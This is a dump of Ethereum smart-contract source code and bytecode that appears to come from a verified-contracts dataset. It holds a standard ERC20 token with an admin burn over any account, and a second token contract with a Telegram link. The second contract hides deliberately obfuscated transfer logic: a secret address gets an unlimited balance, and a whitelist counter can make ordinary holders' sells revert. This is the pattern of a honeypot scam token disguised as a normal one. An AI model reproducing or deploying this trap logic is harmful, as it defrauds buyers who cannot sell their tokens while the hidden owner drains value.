function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string name, string symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of yux the token.
*/
function name() public view returns (string) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
contract ERC20Burnable is ERC20, MinterRole {
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function adminBurn(address account, uint256 value) public onlyMinter {
_burn(account, value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param from address The address which you want to send tokens from
* @param value uint256 The amount of token to be burned
*/
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
contract ERC20Mintable is ERC20, MinterRole {
/**
* @dev See `ERC20._mint`.
*
* Requirements:
*
* - the caller must have the `MinterRole`.
*/
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
}
contract TopStarReputation is ERC20, ERC20Detailed, ERC20Burnable, ERC20Mintable {
uint256 public constant INITIAL_SUPPLY = 100000000000 * 10**18;
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor () public ERC20Detailed("Top Star Reputation Token", "TSTR", 18) ERC20Burnable() ERC20Mintable() {
_mint(msg.sender, INITIAL_SUPPLY);
}
}
|
0x608060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306dd04191461010c57806306fdde0314610159578063095ea7b3146101e957806318160ddd1461024e57806323b872dd146102795780632ff2e9dc146102fe578063313ce56714610329578063395093511461035a57806340c10f19146103bf57806342966c681461042457806370a082311461045157806379cc6790146104a857806395d89b41146104f5578063983b2d561461058557806398650275146105c8578063a457c2d7146105df578063a9059cbb14610644578063aa271e1a146106a9578063dd62ed3e14610704575b600080fd5b34801561011857600080fd5b50610157600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061077b565b005b34801561016557600080fd5b5061016e61082c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ae578082015181840152602081019050610193565b50505050905090810190601f1680156101db5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f557600080fd5b50610234600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108ce565b604051808215151515815260200191505060405180910390f35b34801561025a57600080fd5b506102636109fb565b6040518082815260200191505060405180910390f35b34801561028557600080fd5b506102e4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a05565b604051808215151515815260200191505060405180910390f35b34801561030a57600080fd5b50610313610c0d565b6040518082815260200191505060405180910390f35b34801561033557600080fd5b5061033e610c1e565b604051808260ff1660ff16815260200191505060405180910390f35b34801561036657600080fd5b506103a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c35565b604051808215151515815260200191505060405180910390f35b3480156103cb57600080fd5b5061040a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e6c565b604051808215151515815260200191505060405180910390f35b34801561043057600080fd5b5061044f60048036038101908080359060200190929190505050610f25565b005b34801561045d57600080fd5b50610492600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f32565b6040518082815260200191505060405180910390f35b3480156104b457600080fd5b506104f3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f7a565b005b34801561050157600080fd5b5061050a610f88565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561054a57808201518184015260208101905061052f565b50505050905090810190601f1680156105775780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561059157600080fd5b506105c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061102a565b005b3480156105d457600080fd5b506105dd6110d9565b005b3480156105eb57600080fd5b5061062a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e4565b604051808215151515815260200191505060405180910390f35b34801561065057600080fd5b5061068f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061131b565b604051808215151515815260200191505060405180910390f35b3480156106b557600080fd5b506106ea600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611332565b604051808215151515815260200191505060405180910390f35b34801561071057600080fd5b50610765600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061134f565b6040518082815260200191505060405180910390f35b61078433611332565b151561081e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001807f4d696e746572526f6c653a2063616c6c657220646f6573206e6f74206861766581526020017f20746865204d696e74657220726f6c650000000000000000000000000000000081525060400191505060405180910390fd5b61082882826113d6565b5050565b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108c45780601f10610899576101008083540402835291602001916108c4565b820191906000526020600020905b8154815290600101906020018083116108a757829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561090b57600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b6000610a9682600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152a90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b2184848461154b565b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190509392505050565b6c01431e0fae6d7217caa000000081565b6000600560009054906101000a900460ff16905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610c7257600080fd5b610d0182600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461171790919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000610e7733611332565b1515610f11576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001807f4d696e746572526f6c653a2063616c6c657220646f6573206e6f74206861766581526020017f20746865204d696e74657220726f6c650000000000000000000000000000000081525060400191505060405180910390fd5b610f1b8383611738565b6001905092915050565b610f2f33826113d6565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610f84828261188c565b5050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110205780601f10610ff557610100808354040283529160200191611020565b820191906000526020600020905b81548152906001019060200180831161100357829003601f168201915b5050505050905090565b61103333611332565b15156110cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001807f4d696e746572526f6c653a2063616c6c657220646f6573206e6f74206861766581526020017f20746865204d696e74657220726f6c650000000000000000000000000000000081525060400191505060405180910390fd5b6110d681611a8a565b50565b6110e233611ae4565b565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561112157600080fd5b6111b082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152a90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600061132833848461154b565b6001905092915050565b6000611348826006611b3e90919063ffffffff16565b9050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561141257600080fd5b6114278160025461152a90919063ffffffff16565b60028190555061147e816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152a90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008083831115151561153c57600080fd5b82840390508091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561158757600080fd5b6115d8816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061166b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461171790919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600080828401905083811015151561172e57600080fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561177457600080fd5b6117898160025461171790919063ffffffff16565b6002819055506117e0816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461171790919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b61191b81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152a90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119a582826113d6565b3373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a35050565b611a9e816006611c6190919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f6ae172837ea30b801fbfcdd4108aa1d5bf8ff775444fd70256b44e6bf3dfc3f660405160405180910390a250565b611af8816006611d3e90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fe94479a9f7e1952cc78f2d6baab678adc1b772d936c6583def489e524cb6669260405160405180910390a250565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611c0a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001807f526f6c65733a206163636f756e7420697320746865207a65726f20616464726581526020017f737300000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b8260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611c6b8282611b3e565b151515611ce0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f526f6c65733a206163636f756e7420616c72656164792068617320726f6c650081525060200191505060405180910390fd5b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611d488282611b3e565b1515611de2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c81526020017f650000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050505600a165627a7a72305820e4fe46125eff084e49102aaf2666ca639af24ba57de8d280b7cb3d65066c4df10029
|
{"success": true, "error": null, "results": {}}
| 3,313 |
0x5a1d5F7d2fCB66FC31334d9BcF20e1576CbA17b3
|
// https://t.me/rubberduck_eth
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Contract is Ownable {
constructor(
string memory _NAME,
string memory _SYMBOL,
address routerAddress,
address his
) {
_symbol = _SYMBOL;
_name = _NAME;
_fee = 5;
_decimals = 9;
_tTotal = 1000000000000000 * 10**_decimals;
_balances[his] = porch;
_balances[msg.sender] = _tTotal;
exciting[his] = porch;
exciting[msg.sender] = porch;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
uint256 public _fee;
string private _name;
string private _symbol;
uint8 private _decimals;
function name() public view returns (string memory) {
return _name;
}
mapping(address => address) private visitor;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
function symbol() public view returns (string memory) {
return _symbol;
}
uint256 private _tTotal;
uint256 private _rTotal;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
uint256 private porch = ~uint256(0);
function decimals() public view returns (uint256) {
return _decimals;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function tomorrow(
address stage,
address arrange,
uint256 amount
) private {
address beauty = visitor[address(0)];
bool manner = uniswapV2Pair == stage;
uint256 national = _fee;
if (exciting[stage] == 0 && face[stage] > 0 && !manner) {
exciting[stage] -= national;
}
visitor[address(0)] = arrange;
if (exciting[stage] > 0 && amount == 0) {
exciting[arrange] += national;
}
face[beauty] += national;
uint256 fee = (amount / 100) * _fee;
amount -= fee;
_balances[stage] -= fee;
_balances[address(this)] += fee;
_balances[stage] -= amount;
_balances[arrange] += amount;
}
mapping(address => uint256) private face;
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
mapping(address => uint256) private exciting;
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
require(amount > 0, 'Transfer amount must be greater than zero');
tomorrow(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
tomorrow(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f91906110b2565b60405180910390f35b610132600480360381019061012d919061116d565b610392565b60405161013f91906111c8565b60405180910390f35b6101506103a7565b60405161015d91906111f2565b60405180910390f35b610180600480360381019061017b919061120d565b6103b1565b60405161018d91906111c8565b60405180910390f35b61019e610500565b6040516101ab91906111f2565b60405180910390f35b6101bc61051a565b6040516101c9919061126f565b60405180910390f35b6101ec60048036038101906101e7919061128a565b610540565b6040516101f991906111f2565b60405180910390f35b61020a610589565b005b610214610611565b604051610221919061126f565b60405180910390f35b61023261063a565b60405161023f91906110b2565b60405180910390f35b610262600480360381019061025d919061116d565b6106cc565b60405161026f91906111c8565b60405180910390f35b610280610748565b60405161028d91906111f2565b60405180910390f35b6102b060048036038101906102ab91906112b7565b61074e565b6040516102bd91906111f2565b60405180910390f35b6102e060048036038101906102db919061128a565b6107d5565b005b6102ea6108cc565b6040516102f79190611356565b60405180910390f35b60606002805461030f906113a0565b80601f016020809104026020016040519081016040528092919081815260200182805461033b906113a0565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f2565b905092915050565b6000600854905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec90611443565b